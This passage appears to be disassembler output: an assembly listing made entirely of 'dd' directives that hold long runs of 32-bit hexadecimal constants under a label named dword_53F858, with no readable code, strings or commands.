		dd 84A99Ch, 4C3A5CBh, 8668F49Bh, 5F27A007h, 9952805h, 0A7FFF020h
		dd 8EF61E72h, 0C530801Ch, 18FABC83h, 3087C024h,	3ED5A140h
		dd 0EF71263h, 7618074Ch, 6C3B312h, 7B9C9901h, 6384AAA9h
		dd 0D761D5EEh, 4D042417h, 0CBB2D700h, 12C78AE4h, 49781ED1h
		dd 7468803Ah, 69F790Bh,	500F4805h, 9846BE81h, 81AAD5h
		dd 8B21BC92h, 0B024A2B3h, 82FC6402h, 404286C0h,	0A85AE758h
		dd 80F9Ch, 0A3E2925Ch, 0DC19D3DFh, 8CCD6300h, 913C2F05h
		dd 0FE2400ECh, 62D2811Bh, 0BC19504Fh, 674165D6h, 0C0BB4BE8h
		dd 0B39A9980h, 0D8F75A24h, 0FF7E6420h, 63FC9F09h, 0BA60016Fh
		dd 0A4501C16h, 898497h,	452F665Bh, 0EC717522h, 0B86E0806h
		dd 612C07h, 70BBC74Fh, 9C33A934h, 0BF499618h, 0FB551F40h
		dd 65F2AC40h, 1E18408Bh, 53325606h, 690108h, 833458F7h
		dd 5F1C97B8h, 31CB100Ch, 0EE03612Ah, 88333D7Fh,	0B11B2880h
		dd 0D9925165h, 388C5048h, 3811423Ch, 18F72449h,	0DCEC140Ah
		dd 0DDC8B803h, 92E12476h, 50EA8030h, 0C997736Bh, 63AE9403h
		dd 0B8DDC68Dh, 155E4Ah,	0AD582F7Ah, 0D8679384h,	65020478h
		dd 0BDE0443Ch, 0A58404Eh, 35A9C05Fh, 0B0BB048Dh, 8CC44F00h
		dd 92E0B885h, 5C870BFh,	0D2059652h, 8B42564h, 0D942770Ch
		dd 8058006Ch, 43396749h, 2839008Eh, 917166DFh, 8854149Bh
		dd 6F32B0CAh, 0B08370C0h, 8F5D750h, 0D380D824h,	7BECCD98h
		dd 0DEFD0090h, 0C1411DA8h, 4C00F7BCh, 0DB8A34BFh, 12525679h
		dd 4B3CE6h, 7305F6FCh, 8415BF01h, 0AC0617h, 1B4B5E7Fh
		dd 10571D9h, 511D79A6h,	0CAABCBC8h, 0AFF0B481h,	8A46F850h
		dd 27752F0Ah, 0E7938CBBh, 0B2C79020h, 0DCA8001Bh, 784DE22Ch
		dd 0A70746EEh, 2E6CD7BEh, 65EC1D91h, 0BD5DC881h, 32D4184Fh
		dd 668A1E74h, 0E0203912h, 2893C13Ah, 984B1FCh, 0ED859448h
		dd 88613CA4h, 0E81FB578h, 7147E954h, 3E005ADAh,	9022A233h
		dd 57113F9Ch, 3B47EF85h, 0E915C7B8h, 43F08480h,	9600294Ah
		dd 7FEB8120h, 0F2F3FBCDh, 7D4200A4h, 3178E837h,	120F6CDFh
		dd 0E03A40B4h, 0FBD2B19Ah, 0F27F00A4h, 2BA12E81h, 4400D73Ch
		dd 0CA78CF7Ah, 6733F8BAh, 0F2772080h, 514048AFh, 0C200795Ch
		dd 0D1E096D9h, 34036Ch,	52C38E47h, 0AEA3B8A1h, 9558E860h
		dd 6F64222h, 4DB19B3Eh,	4BF8A03Dh, 0F43CD726h, 8EAE300h
		dd 61A22Ch, 34D4BF7Ch, 0AF9AF693h, 30D5F85Ch, 0B8EB80BBh
		dd 59A56F6Ch, 198F2386h, 0F9AE30C4h, 82208E22h,	69DDF3h
		dd 58950EC1h, 9832F00Dh, 6F45D30Ch, 0EA6AF99Ch,	1C9103EDh
		dd 0A12623B3h, 0FF981906h, 7FB08206h, 8F33014Ah, 0C6FC2D23h
		dd 0FD8BF00Ah, 0D276B413h, 3599A0Fh, 187BD15h, 0FCAF6D30h
		dd 809C7BB8h, 6E32E1B1h, 0CC9FE3D3h, 4D881C10h,	13219A60h
		dd 0EDD2F4h, 466D8AE1h,	0B14C9F60h, 766A0200h, 780E019h
		dd 2AF30567h, 9B45B0h, 0E743C02Ch, 0DD00717Dh, 21F1BA5h
		dd 0A15120h, 2E78B78Bh,	0B4872FBBh, 0AE102924h,	90B115h
		dd 5403C7F4h, 112F776h,	845234B7h, 24EF0E98h, 7A00D224h
		dd 189B776Ah, 98A5CA70h, 0B148004Ch, 46179F3Dh,	1200E95Ah
		dd 9A033828h, 0E6AC99D1h, 1E1EEAAh, 67C57EC8h, 48A786BEh
		dd 40A019DCh, 837472B8h, 0F59C9C0h, 0F6A4A39h, 8A849FC9h
		dd 18504201h, 861841B7h, 897C4099h, 0E60047D8h,	71C1B507h
		dd 0A90A34h, 0AAD45C99h, 70BA87AFh, 0D53C48h, 5FA50DB7h
		dd 0F696346h, 97E47B44h, 45E9FA4Ch, 0A2FD3Eh, 8E8A4AD9h
		dd 906A4882h, 1413001Ch, 0CFE2A955h, 5400304Eh,	84165F94h
		dd 945898Bh, 0DA1E3465h, 0CF973400h, 0C13D6B17h, 20077007h
		dd 0AA56587h, 7C20DF46h, 0DEBF0CCEh, 0CFC9B14Dh, 4B3B0F00h
		dd 0B5E5D4F4h, 0FDD70AA3h, 9F8C6B42h, 0C43CC284h, 5C4EA033h
		dd 0C234212h, 7765000h,	0F054A5F1h, 0FD5B2E92h,	0BFDF0005h
		dd 60288CDh, 4EA94B01h,	0FE293336h, 86199424h, 9B807907h
		dd 784DB332h, 0AB465010h, 851F1773h, 0B2BF021Ah, 346494B3h
		dd 380B253Ah, 0C46B01B5h, 0F7ABBDD1h, 18DA4820h, 50D09D42h
		dd 11204D86h, 97E1099Fh, 0AC20C63Bh, 776BABB4h,	0BEC0507Fh
		dd 0EE229367h, 746E5045h, 696121Ch, 66980627h, 6A70081Bh
		dd 0A66E5501h, 1021B475h, 24B1E0F0h, 40E02823h,	5057338Bh
		dd 0A64C7004h, 0F0823D91h, 733181Bh, 4D064988h,	1800742Eh
		dd 5315EEAh, 0AA286B36h, 0E10398F7h, 8E4A9724h,	2F6811C5h
		dd 6F3E01EBh
		dd 0B009316Bh, 890A30h,	0B566460Fh, 0EB78A5B4h,	9591AF62h
		dd 639CA123h, 4BE45596h, 0CAC4004Eh, 6E7B21A6h,	0E160072Eh
		dd 35330440h, 0DC3101DFh, 0AD51D36Ch, 101C308Dh, 604DD43Dh
		dd 0A5ED7E81h, 195F0185h, 0A92C0C7h, 8257CCFEh,	4460F000h
		dd 80CD699Bh, 87BE198Bh, 48F93950h, 90001B84h, 62D7E6E8h
		dd 474D130h, 6A3DA665h,	0CC309422h, 9707B32Ch, 51E04212h
		dd 91770520h, 0DD7F28Bh, 0D9A1E98Ah, 0CDF42170h, 37C900E8h
		dd 0CCCF0159h, 2650C7CEh, 6017ED1Fh, 21609614h,	0D3636B59h
		dd 6A220061h, 0D05C423h, 0F8033119h, 6DB3381Ah,	49278737h
		dd 6B6C56A0h, 588874A9h, 0EACE60DEh, 9FAC3760h,	1104498Dh
		dd 31670684h, 1BA81880h, 3A0E2C42h, 0E21A414Ch,	0FE9320B1h
		dd 0A84E6B29h, 0A3518D00h, 75907EBFh, 684600B9h, 0F5D60E2Bh
		dd 0C109A9F6h, 885AEBCDh, 0A002C8A9h, 82147FC3h, 0E0C03694h
		dd 0D35921h, 0A677B47Ah, 11C934AFh, 0F39DB000h,	475A4E0Eh
		dd 149126FDh, 8F803CE4h, 6BA8CFBCh, 0E5035F4Ch,	95866043h
		dd 222FF052h, 7CFEB1h, 0B41A2A03h, 32D69FF7h, 458B7600h
		dd 0F0E43649h, 9E3107D8h, 0EEDEFE6Dh, 0B0083B4Ch, 0A0787250h
		dd 4375B00h, 0F03ADD26h, 716A264Dh, 322341F4h, 4280240Fh
		dd 7D0CBF4Dh, 0D5EE941Eh, 0BD913FC0h, 0BAB540h,	29A99DCEh
		dd 9226174Ah, 0D70C78B2h, 51F996FEh, 59B100FBh,	2AF0E294h
		dd 5D0B498Bh, 104D88AFh, 2ACD1E0h, 0D60DF599h, 3C68CF95h
		dd 9200798Bh, 3E3C904Eh, 284FED6Bh, 5AC3560h, 2E5B34DEh
		dd 0E2088DFh, 26703B50h, 10F84Ch, 0EEF327E0h, 0FDDE8Fh
		dd 0C8BAB02h, 20590A3Dh, 3702C57Ah, 0FAA60B1Ch,	0CC4177D6h
		dd 0E118A1Ah, 99001405h, 2EE934CCh, 0C38A0DDh, 21AF0131h
		dd 2276102Bh, 0E13FD123h, 640871D8h, 1E93E50h, 1D296FCh
		dd 8F228A4Fh, 6009CF48h, 65B52CA3h, 0F6332A99h,	524D3098h
		dd 0E339E639h, 7568CB00h, 0BC4B87Bh, 4C2C0B37h,	4888996Ah
		dd 246560B8h, 69D9A61Bh, 0CEF857E8h, 32F60052h,	42506E53h
		dd 0FA0CDD83h, 0C9BC439Bh, 0E1C2004Dh, 9F6777D3h, 20618FFh
		dd 0F38E71B9h, 158A0620h, 31BA4342h, 0F91C7F00h, 3B38DD0Fh
		dd 5B5D0014h, 0B7E77DD5h, 8D607293h, 78113629h,	6C9C39EAh
		dd 44B0250Bh, 2DFC2410h, 0D003092h, 8678ADDEh, 305032DDh
		dd 8B418CAEh, 0E9306DABh, 8A05887Fh, 0E8A405D3h, 8A347BC2h
		dd 4E331C80h, 0DE2F9B41h, 0E0321105h, 8C7C6F06h, 2318CE48h
		dd 8AD99230h, 0C40A0045h, 562412D8h, 88006CE3h,	0F8369F07h
		dd 385D34Dh, 0B8461874h, 3DA11B29h, 0B323C86Ch,	3E11A1C2h
		dd 4568E0B6h, 6A7B889Ah, 0C1DB9300h, 4E168E89h,	30321CD5h
		dd 45FF83AEh, 8288FCAFh, 390F575Ch, 4736ACC6h, 0F2057110h
		dd 0FF6A3CC0h, 8FD0E79Ch, 0CF7D07EFh, 0C00D4D14h, 400C4E97h
		dd 0E00F3F02h, 0E67BBE88h, 0AFB421A4h, 9112423Eh, 6903073h
		dd 7E09346Bh, 864D83A7h, 111683Fh, 6E6430A8h, 327269FCh
		dd 14451604h, 2012D45Eh, 0E8967460h, 6CCB1631h,	3380709Bh
		dd 4A176B3Ch, 2C04B00Fh, 3752BD22h, 53D310F0h, 0CD01F9AFh
		dd 9FFB3F8h, 0BC46723h,	0F57C0B9Eh, 0F082A151h,	0C020EC2Eh
		dd 0EF8E640Ch, 0B8185C61h, 24C710E2h, 603CA28Bh, 3E34BD14h
		dd 0B3A22E26h, 0AE060C0Dh, 9C20C821h, 23444BBEh, 4F8C8D24h
		dd 0A9C8C0B8h, 92095615h, 0E33F51B4h, 0CC59008h, 0F494D62Ch
		dd 9D004811h, 607AE957h, 6A3B8Ch, 55254A69h, 99EBACD5h
		dd 7D4474Ch, 1B33EA86h,	6C67CC60h, 0E70E244Eh, 0A3070A74h
		dd 53D180A4h, 392EA5Ch,	6C78A12Eh, 0ED228080h, 889C5945h
		dd 0EF2E4D1Ch, 78240426h, 2C89240Fh, 0FF0D1B4h,	6DA5A69Ch
		dd 0BD049143h, 0ADC0FEC3h, 0D02ED3EFh, 2A3F9419h, 0E200E03Eh
		dd 83A87371h, 75439184h, 90EF009Ah, 0C18893BCh,	332697F4h
		dd 0E0A4D0D1h, 0B337F360h, 0A803132Ch, 9944086Dh, 0A8B5428Ah
		dd 0BE5E549Ch, 20D588C7h, 3DAC7EB1h, 0B7803C28h, 0FEFCA74Fh
		dd 6A0E6D09h, 6E44184Ch, 0BB03849Ch, 329884A6h,	0E42158FDh
		dd 6FD88B74h, 5503903Eh, 203D8538h, 466102B2h, 5EC67B3h
		dd 204004E2h, 3F591BA9h, 11A8B1Ch, 0FF477B28h, 0C0980470h
		dd 10D0ED19h, 1F0261F4h, 0C71A3BF5h, 0E8A461D4h, 20B97442h
		dd 50A80440h, 9C831300h, 7985CEE7h, 0EEFA0288h,	0F75A1F66h
		dd 407F7041h, 0DE42877Ch, 50EC5035h, 0D10B7C0Ch, 0AA2602A0h
		dd 0B21E73B1h, 6210B441h, 0B022CCh, 152D0F50h, 0EA92CBE6h
		dd 0DA01B700h, 0BF971F2Fh, 4DE318E7h, 34025153h, 0A2E49500h
		dd 42B2795Bh, 3E350FCCh, 9AA040B9h, 1D022180h, 784EC092h
		dd 38972C21h, 14780028h, 142719A5h, 2F241302h, 3CC88BE3h
		dd 767AB7FDh, 667BB079h, 4A707AECh, 84620898h, 5A6A3E89h
		dd 44B81858h, 97FC193Fh, 0E0308CA8h, 0E072A13Fh, 0C590891Ah
		dd 0A2670F45h, 41CA85DDh, 0FFD4AB8h, 4444690Fh,	3178C04Ch
		dd 7A00C33Bh, 81ADD407h, 29A16870h, 844E5Fh, 2475894Fh
		dd 98009C0Dh, 0DFBAE3C7h, 3F1B77Ah, 0E88EA0BEh,	59E04A7Eh
		dd 270CA666h, 4898CF6Fh, 8438908Bh, 5839F4C4h, 0A68ADC22h
		dd 3A6D8098h, 3FFFC07Ah, 6E25AF00h, 0F0804A17h,	49B20012h
		dd 8FB7393h, 8F001057h,	8103AB3Bh, 12CDB045h, 306B8BBFh
		dd 0DC342D9Ch, 0D103E200h, 0C1509038h, 0BF18207Ah, 0CC224Ch
		dd 5E360515h, 903C3277h, 4FA4BD1h, 8C87B354h, 5C008E00h
		dd 0D164893Fh, 0BFCCA1h, 73D9F585h, 8EFD86EBh, 8FFC7258h
		dd 0DD88806Eh, 49FB555h, 0DEFE6CD3h, 7700B22Ah,	2E64B607h
		dd 60233E82h, 2B338005h, 5B2D00ADh, 431D2F0h, 0A800CA96h
		dd 6E831797h, 16EB7C8Bh, 5F7E52h, 0F2F72E92h, 371F349Ch
		dd 9E82AA47h, 0C1D3AE6Ch, 2C099870h, 5AC2C150h,	0BC4B3B99h
		dd 0CA58B000h, 3F5349E4h, 0D0DAD90Eh, 0CD7640FBh, 2EE22A2Fh
		dd 40B49731h, 0E72C6C82h, 6E012200h, 0C7D33627h, 0C0030097h
		dd 0C25619EBh, 9901300Ah, 0F46C8967h, 6BD91FE0h, 0D78F8468h
		dd 0F32EB081h, 7215209Dh, 2BD93Fh, 11066DE7h, 345FA3h
		dd 0CF32DDDh, 0F5FD737Ch, 4EF9E40Fh, 32974107h,	0C08AADB7h
		dd 80D4694Dh, 2C9A581Eh, 0F9134FA9h, 7B00718Bh,	0B79DFF67h
		dd 0AAD2056Ah, 82363B16h, 9C616D90h, 1702317h, 0AD02D886h
		dd 0CEFC6564h, 13D73F9h, 700FB1F0h, 61309379h, 20243880h
		dd 0F5962A87h, 70730F8Ch, 380973Eh, 11B126E9h, 6C2F4D00h
		dd 0C0B87B8Bh, 10AE2605h, 88D42673h, 0FC0AE873h, 84878C0Bh
		dd 88B37A0Ah, 11B0BF5Ah, 0AF9F27h, 0F9559AF4h, 7586DC3Ch
		dd 0DC41295Ah, 0F0345C36h, 9813EC77h, 4ACC9035h, 0B00B28B4h
		dd 98EAC279h, 24EC5D0Ch, 404C9738h, 0FD405EF5h,	0B68E5F00h
		dd 5AE57841h, 865901B7h, 0E1213AC1h, 0EA4C3089h, 8CAFA021h
		dd 0E4799AFCh, 7A0C6200h, 95CAD404h, 0A0BB00AEh, 788F6812h
		dd 0FB00DE3Fh, 5D3F63Ch, 4F1C24h, 0B5A4665h, 0E9F88A9Ah
		dd 0E0D19605h, 2CA20C97h, 0E61A0400h, 0BE4432A9h, 4CABF9C0h
		dd 0EF4337h, 9D46285Fh,	0F957CD0Bh, 11C9101h, 0EA31DA2Ah
		dd 4CE3A6FCh, 0AC809C41h, 7F606B9Ch, 2EFFCB02h,	40B740C0h
		dd 1F3EDE12h, 0CE5941F5h, 0C860626Ah, 0A9CC0951h, 0EC16B05h
		dd 0F680C706h, 29C6A76h, 0A50372Eh, 8090FB81h, 0D10E5CEAh
		dd 2048211Dh, 1A23EFACh
		dd 20840002h, 4ACDA089h, 32003678h, 312C4BF8h, 0F0705E4h
		dd 753780A1h, 63B43DA3h, 9B5A4F80h, 25786B0Eh, 4C6C6076h
		dd 922B62h, 486E04FAh, 0D4CFFE55h, 69E22F00h, 200E259Ah
		dd 16F0B0Bh, 40448224h,	0EB078300h, 0AE5C2BE4h,	0C4402DEh
		dd 112D245Bh, 0F8B3C48h, 78CE4313h, 0B62488h, 7D51090h
		dd 0CC336E8Eh, 0D79C6C24h, 0BC6F1B02h, 7278C923h, 0FC17FC39h
		dd 2DC42098h, 0DC048E40h, 0DB8201ADh, 6FD55280h, 90AB0005h
		dd 0FDE5C073h, 5700C310h, 6DDB756Ch, 70CD05Ah, 87030A3Bh
		dd 7E4E30A8h, 0AD0062A7h, 2BAF024Ch, 1E04F89Ah,	0C0D69546h
		dd 0B74B0CC1h, 9F1D2489h, 2064BA26h, 0F23AC000h, 0E098B68Fh
		dd 8039489Dh, 9EC2310h,	49A81C3Eh, 64724458h, 0C789CC00h
		dd 0EA076251h, 21302312h, 413EB44Fh, 9088ED32h,	732E66F0h
		dd 3B41094Dh, 1C683DFEh, 8E013A84h, 8987A50Dh, 907861B7h
		dd 0E1F56F80h, 0C506C3D5h, 0F4976B64h, 3D7F0B11h, 144E2418h
		dd 26CE2300h, 1B321604h, 3FF7013Dh, 0BA53376Dh,	9A087C21h
		dd 36059A8h, 22532A3Ah,	0A48B94Ch, 0F414A94Eh, 11253E0Bh
		dd 40705F90h, 6C39C0ECh, 69FB6708h, 28648758h, 19001445h
		dd 8B4E1F18h, 9983F83h,	382E8C14h, 0F0360C68h, 96244D12h
		dd 0F6A1D820h, 0F9743FC1h, 18501B09h, 22AF5780h, 4E72339Bh
		dd 80889C03h, 90286E23h, 1FB1FC2h, 0DB3BAFF3h, 9D333466h
		dd 60498311h, 14ECC84Eh, 1577E6Ch, 970378E0h, 0E0079B1Bh
		dd 4F7C2B55h, 0E702DCB0h, 67FA8E4Ah, 3980444Eh,	8F07613Dh
		dd 20B537FFh, 933495E5h, 0AC396499h, 682494B6h,	2987B806h
		dd 69E10071h, 0BEA8E7E2h, 13004FBCh, 61B20C8Ah,	16604A75h
		dd 0C749AE53h, 40E429C4h, 63A64600h, 0E0AA35F6h, 0EE430330h
		dd 0BCE46F73h, 0C5200BB2h, 15BAA0h, 20BD9994h, 8CE203DFh
		dd 0FD00AA70h, 0D4C64F0Eh, 131CEB92h, 13DD66A6h, 9628910Eh
		dd 0CCB850F8h, 1904BBE0h, 48CF3389h, 650300B2h,	0A2E26172h
		dd 9DC399C3h, 100163D3h, 8A6D8587h, 0CC40B89Bh,	588BBE88h
		dd 59000CFDh, 6B6F110Fh, 0E904283Dh, 3A8A146Ch,	0CC8010A8h
		dd 4745C3E7h, 0C000FF79h, 0AC64BBC1h, 0DA666Dh,	86EA7C41h
		dd 10E6E0D3h, 1305D690h, 0C2C8A5F1h, 1C306685h,	9A6B16Ah
		dd 0DE01A079h, 6793AC80h, 631FBEA5h, 624BE06Bh,	9554904Eh
		dd 0AD9E0082h, 2EFDED19h, 6C008A12h, 0CCD9F6Bh,	7DA54E18h
		dd 0B40934DDh, 0F9D4A058h, 875AA700h, 43C0E214h, 25700398h
		dd 0AE51A668h, 0C8C2E5BAh, 2000E466h, 63FB6214h, 0C2C401h
		dd 2BDF6CC7h, 6DB24657h, 8442300h, 1F9C4A8Dh, 51F03202h
		dd 4F20EC40h, 186F599h,	0D86907B7h, 0CCC430D5h,	7CA080B4h
		dd 3DE465D1h, 0CBC82148h, 30DC02B6h, 0C7A5200Ch, 0CE4D948Ah
		dd 9D361FC8h, 0D134740h, 0BE66D5Ch, 4E79F05Dh, 599348C8h
		dd 258A2607h, 0C6F067C0h, 0C53E0h, 0A6109605h, 0D047D1A4h
		dd 248CA31Dh, 0F99CCC40h, 1D3903E0h, 4B63E88Eh,	3C00594Fh
		dd 0BECAB46Fh, 0B2070804h, 0A9C08C89h, 90ABC1A7h, 5F4405E0h
		dd 816E2FC3h, 0D1D46008h, 4442DFBh, 40318A2h, 0DB5800ABh
		dd 0E63DB74Ch, 0E485CD2Eh, 38028A12h, 64349943h, 4564901Ch
		dd 0A7F89FECh, 0A4CCE8D7h, 0F00703FCh, 7EB6D141h, 0FB74C7A0h
		dd 69F96D09h, 117C194Bh, 2388C03Ch, 3DA6BB87h, 96884449h
		dd 2C625264h, 30486C44h, 34870428h, 2CB24D20h, 35E3960Bh
		dd 0B07EFC87h, 0ED0BA6BFh, 45BEE117h, 0E4B41488h, 0D0094DB9h
		dd 189A3211h, 5749B642h, 0C7F10048h, 4DC909C5h,	7A076ACAh
		dd 857C5F72h, 0E3DACE40h, 238C05C3h, 888F542Dh,	100246D4h
		dd 75A5ADEBh, 9588B28h,	82CF004Fh, 0F0357DBEh, 1199624Eh
		dd 9CE4428Fh, 5E93301h,	0A8AA0E2Dh, 73ECFF0h, 0E529506Eh
		dd 239AD11Eh, 2DD429D3h, 6E842042h, 98F32EF9h, 29752988h
		dd 551E3AA4h, 0A1CB828Dh, 8C54FCFEh, 0F350AE1Ch, 92C02858h
		dd 10A5C275h, 1933BF0Eh, 848EEBCDh, 16C54FB4h, 0B6DC4404h
		dd 0E2482C0h, 9EEE0059h, 2BFDC294h, 703E8306h, 693107F5h
		dd 26A07D2Ah, 0E4A83C54h, 0EF73011Ch, 0FC3497E1h, 1070A781h
		dd 0D1AEE8h, 7CC8CC07h,	70910159h, 194ACDB8h, 916E4088h
		dd 830287A4h, 0B623A11Fh, 0BEB8F742h, 7EF88B2Eh, 0D2A1E200h
		dd 9BFAF7ADh, 25800A04h, 40ECB450h, 97FF8C5Fh, 8E2D4005h
		dd 0F8A43A22h, 0FE8009FDh, 4C89DCD3h, 3880E459h, 5F496278h
		dd 90C800B9h, 0F18883FBh, 35160DE1h, 0C89F4DF8h, 6E183E03h
		dd 88B469F8h, 0B0048784h, 3CC8309Fh, 4EC06480h,	382EED32h
		dd 232586F4h, 4208251Ah, 240B4h, 870EA44Eh, 3AB41E99h
		dd 6570FD02h, 0E01DEA36h, 5B7E6B96h, 8E004175h,	25A6275Ch
		dd 3ECC119Ch, 8050786Ah, 21AF1A4Fh, 999B0FFCh, 0B6922536h
		dd 18491C98h, 0DC9CB5C0h, 7CCC5A3Bh, 0E3EB000Ch, 3F644C0h
		dd 3500EE75h, 86DC7F5h,	0A0D3AF29h, 14DE30C8h, 6C215048h
		dd 0CC9C8B2Fh, 9D621300h, 5FD8B5A3h, 82B700A6h,	0B3FAF1E5h
		dd 0DC0C8AC3h, 8E0DE5Ah, 0DC974CE3h, 56D8A963h,	7AA58EA8h
		dd 0D96D861Eh, 5375AB05h, 8A4008B5h, 1E98DC04h,	40883651h
		dd 0F7912FCFh, 7016F56Ah, 0B09042D9h, 0FB32BEh,	0E2D161B3h
		dd 62058089h, 4FB90A08h, 0B43E8A98h, 78243A0h, 0DCB1F02Ch
		dd 684314h, 39FC0C33h, 26B80BD2h, 0F21DA5Fh, 0A8E5573Bh
		dd 416832BAh, 925F090h,	0C07FA900h, 0D77973Dh, 2EB900C7h
		dd 0F90C07EAh, 9253BF71h, 9DCF009Ch, 0FC186722h, 704C5F66h
		dd 0C7A669CCh, 0F6B1E601h, 0C5C9B348h, 0ED477A80h, 0B969BB54h
		dd 65E0924Fh, 8ED800FDh, 0EFA0315h, 311D353Ah, 3C0306A7h
		dd 0CC322469h, 0D50144CAh, 88E0301Dh, 0D0A82472h, 6888034Ah
		dd 0D4FB5496h, 0BB3800BFh, 0C02E2AF6h, 0B5033332h, 84F8BEC7h
		dd 7021BA98h, 50491260h, 0DF843025h, 50919327h,	835D3304h
		dd 703DD200h, 2C004586h, 9050055Ch, 73A1CA8Ah, 3E58C2FAh
		dd 0F0E97F1Fh, 3E983D96h, 476006Bh, 0E0CD7268h,	7A51024Dh
		dd 0F1CEB465h, 0F385C377h, 8B7808D8h, 7191FAD7h, 55D2FD00h
		dd 0A169EED6h, 1495B872h, 7E2F0090h, 0DF363DCCh, 1EEEC90Fh
		dd 0E8B38202h, 0C51C23E3h, 909F40h, 5101C4C8h, 0D2009B3Ch
		dd 0D39F03BAh, 75E450B0h, 3AB8DBh, 0A858C871h, 0EC213B0Dh
		dd 400FE72h, 0F1AF473Eh, 2C5A7F0Fh, 0A415C8h, 13908459h
		dd 3A483DFDh, 0D4DD0501h, 3CB2E203h, 0CE22CD00h, 15472AD7h
		dd 271023Ch, 7EA9109Dh,	0A7BB601Bh, 80B09D50h, 2F2C41CCh
		dd 163E24ACh, 88D14D79h, 96112726h, 0B4B850F7h,	8900B9E3h
		dd 0CD706CA6h, 58485Fh,	0CE26E452h, 3BF68503h, 46933A01h
		dd 0C9F8D79Fh, 3F22F86Ch, 0F770FF00h, 0A622DCF4h, 0DBEF0579h
		dd 0C06D8F60h, 0FE7BB2ABh, 1AEBE203h, 58A6A227h, 2D0860B0h
		dd 42128DD3h, 0A46ED490h, 3BCFFEDFh, 610097A5h,	8B3AF0F7h
		dd 0AD27E4FDh, 86A422D4h, 6BE1203Bh, 14BE4E5Dh,	79151A80h
		dd 438A14Ch, 0BF2FE06Eh, 32509323h, 0A0E482F2h,	4B98A144h
		dd 0A4CCCC36h, 0E081884Ah, 4F2A7BBEh, 0C8008904h, 0CA8B3826h
		dd 0EEE790Bh, 13E025B0h, 85A034E4h, 0D399DB80h,	14407B6h
		dd 0E8809890h, 0F0124F43h, 277E1BBDh, 198CE453h, 0C998EC9h
		dd 27151C0Ch, 3E14CFB2h, 8B40F9h, 0C75D010Ch, 283FC36Bh
		dd 27A58702h, 0F0750D1Fh
dword_53F858	dd 88D90E4Ch, 31856577h, 7BE0820Ah, 7097C56h, 851CA034h
		dd 7D8253D6h, 7DAA7AB5h, 0BC8F50C5h, 1A1E42CCh,	5A39E8E7h
		dd 1190A4h, 0A267E208h,	3865F882h, 6A724D13h, 8DE02401h
		dd 8607FA26h, 20A6D1C4h, 50F4C81Dh, 0A01B38C0h,	56DA60h
		dd 4020379Fh, 0E8F0147Bh, 0E10DDDE6h, 0D09A17ADh, 216C6C42h
		dd 713225C9h, 428442Bh,	4089F9E0h, 92047285h, 0AF162B6Ch
		dd 84A10A8h, 42521B1Ah,	0E32FBE9Bh, 0C13FB7E0h,	0F8549988h
		dd 80C863C6h, 810ACBF8h, 0BBD060B7h, 3D3065E3h,	666D009Ch
		dd 0A630A031h, 7F9F65Bh, 2358FA7h, 0CEC36007h, 7A26F893h
		dd 0FC00DEFBh, 2D03B65Bh, 5EE26h, 9A4D4F57h, 0D6AF736Bh
		dd 45C25500h, 0A5717BC9h, 0E1031658h, 0A4F05DCh, 6B8C0867h
		dd 2EAD562h, 647E203Eh,	22C8904Fh, 58E7B61h, 0E16420h
		dd 44CF2027h, 56246DC0h, 0A66F5E00h, 315F89E3h,	7AB70EC1h
		dd 11C403DFh, 0AB80EF7Bh, 3A3E8D4Bh, 905379CCh,	5F2EC722h
		dd 5540DC53h, 7303EA0Fh, 0E52001Fh, 0B0726CCCh,	2AB8EC0Ch
		dd 956A8D03h, 0F0BE5751h, 5B49FA5h, 9B3A2330h, 0A778CCB1h
		dd 6E0205F0h, 0BD19DFD0h, 7CCDE1C2h, 62CEFCF0h,	0FE68087Bh
		dd 4C0F5C41h, 89C0088Ch, 0F330B3CCh, 58986EA7h,	0F9DE3E71h
		dd 0B9F61203h, 142A8BCh, 80EA8131h, 3F1C3DD0h, 304F0C22h
		dd 24A36CBEh, 2C716AC0h, 40512726h, 0EC50C684h,	4A800D48h
		dd 11EE1F34h, 60A89C52h, 233F3013h, 0F6776A00h,	0C21998D6h
		dd 1B060248h, 7E6FF453h, 0D509A0F9h, 0BBA08463h, 67895F40h
		dd 26009B5Bh, 2444A35h,	14C4F00Dh, 0D07F1D79h, 86895849h
		dd 2B576002h, 94889060h, 6618219Fh, 1E02A9Eh, 633800FDh
		dd 0ABDEC83h, 8612B934h, 94CCF440h, 3E961DAFh, 0CCA2C0E7h
		dd 0BB70EC6h, 8C054003h, 0C2E5F750h, 4CB45E61h,	414CE00Ah
		dd 0B1D084FCh, 0B92AA480h, 0EAF30055h, 2963B888h, 0FC54D325h
		dd 74A343C4h, 578BF7C8h, 42073200h, 0BE5B231h, 0A6672490h
		dd 0C81B1088h, 99592D7h, 483D328h, 8CAD23B1h, 6788BCF4h
		dd 289C005Ch, 0F4E98E6h, 0E73B159Eh, 7584811Fh,	0FBDD6EBDh
		dd 1300407Dh, 0AC27A355h, 51EC1AB0h, 44687F00h,	45A87DBh
		dd 2AD42491h, 0CCFF1044h, 27E191C0h, 4CE80C97h,	6A09FE6Ch
		dd 2DD1794h, 299B6B50h,	80197410h, 0D1C3B207h, 0E2E02808h
		dd 0A0F7B4h, 4CCB8D1Eh,	0A967EC99h, 0FB435C91h,	0F01100A0h
		dd 8B2E5C51h, 0B6E4E12Fh, 0F8A44C91h, 23184C28h, 9831A2BEh
		dd 0D250A038h, 3B98C4E3h, 1AD4E06Ah, 0F998A444h, 9D8A1448h
		dd 1AFC0C80h, 28003DD3h, 7293A589h, 33C8381h, 1C570F05h
		dd 0C3C027D1h, 60FEE29h, 800E3A97h, 7769B42Dh, 64D905AEh
		dd 0B29FBE24h, 852E04D8h, 10C0E4B4h, 167231C4h,	8B20FBAh
		dd 10A5F1E8h, 3D70C8h, 0A26B7BD8h, 0B02DE169h, 0CC22A40Fh
		dd 56A942EEh, 0B2C44028h, 0B4B78010h, 20A04DF5h, 0F09CFBB2h
		dd 0A64B6181h, 0F0C75B86h, 0F7F1B7F0h, 4C2F3820h, 18B2C09Bh
		dd 0AE0C8719h, 0C2138D43h, 26308198h, 0D8C114BAh, 0D4C0E003h
		dd 21195E3Dh, 238BB650h, 0DE7905A4h, 508389E0h,	1521DC19h
		dd 4496020Ch, 0BDF4E8h,	0ECC67321h, 8D4348DFh, 9111E104h
		dd 0A4F89D1Eh, 26B4A280h, 2F0560D3h, 51F64E27h,	0A7309090h
		dd 0C08C948Eh, 0ACB5861Bh, 0F89A4E0Fh, 5830F250h, 7F4E9EAh
		dd 0B1CA32C8h, 0B83C80B4h, 0D900AF1Bh, 2BA5F611h, 271A504Fh
		dd 1082DCB7h, 0E4503161h, 3047F302h, 74272469h,	223447FCh
